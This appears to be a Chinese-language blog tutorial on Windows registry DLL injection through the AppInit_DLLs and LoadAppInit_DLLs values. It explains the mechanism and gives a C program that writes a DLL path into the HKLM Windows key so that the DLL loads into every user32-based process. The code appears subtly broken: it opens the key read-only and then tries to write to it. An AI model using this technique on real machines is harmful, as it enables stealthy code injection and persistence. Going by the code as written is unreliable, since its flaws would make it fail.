抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

说实话,注册表是杀软严密监视的地方,我觉得现在对注册表进行的操作十有八九都会被查出来(但技术还是要学的)。

概念

主要依赖于两个表项,AppInit_DllsLoadAppInit_DLLsAppInit_Dlls写入dll完整路径,LoadAppInit_DLLs写为1,重启后,指定DLL会注入到所有运行进程。User32.dll在被加载到进程时,会读取AppInit_Dlls表项。若有值,会调用LoadLibrary来载入这个字符串中指定的每个DLL。所以注册表注入只对加载user32.dll的进程有效。

实现思路

说实话这种方法的思路也没什么好说的,甚至不需要编写程序就可以实现。

  • 打开注册表键值如下:HKEY_LOCAL_MACHINE\SoftWare\MicroSoft\Windows NT\CurrentVersion\Windows\
  • 在上面的注册表项中操作 AppInit_DLLs 键值,在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开;
  • 在该注册表项中添加键值LoadAppInit_DLLs,类型为 DWORD,并将其值置为 1 。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <Windows.h>
#include <stdio.h>
#include <string.h>

int main()
{
HKEY hKey;
char csAppInitValue[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\x64\\Release\\Dll1.dll";
DWORD dwLoadAppInitValue = 1;
char csSubKey[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\";
//打开注册表
LSTATUS lsRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_READ, &hKey);

if (lsRet != ERROR_SUCCESS)
{
printf("Open Key Failed....\n");
return -1;
}

char csBuf[100] = "";
DWORD dwSize = 100;
DWORD dwType = 0;

RegQueryValueExA(hKey, "AppInit_DLLs", 0, &dwType, (LPBYTE)csBuf, &dwSize);

int nSize = strlen(csAppInitValue);
//添加Dll路径
lsRet = RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (const BYTE *)csAppInitValue, nSize + 1);

if (lsRet != ERROR_SUCCESS)
{
printf("Set Key Failed1....\n");
return -1;
}
//将LoadAppInit_DLLs设为1
lsRet = RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE *)&dwLoadAppInitValue, sizeof(DWORD));

if (lsRet != ERROR_SUCCESS)
{
printf("Set Key Failed2....\n");
return -1;
}

RegCloseKey(hKey);

getchar();
return 0;
}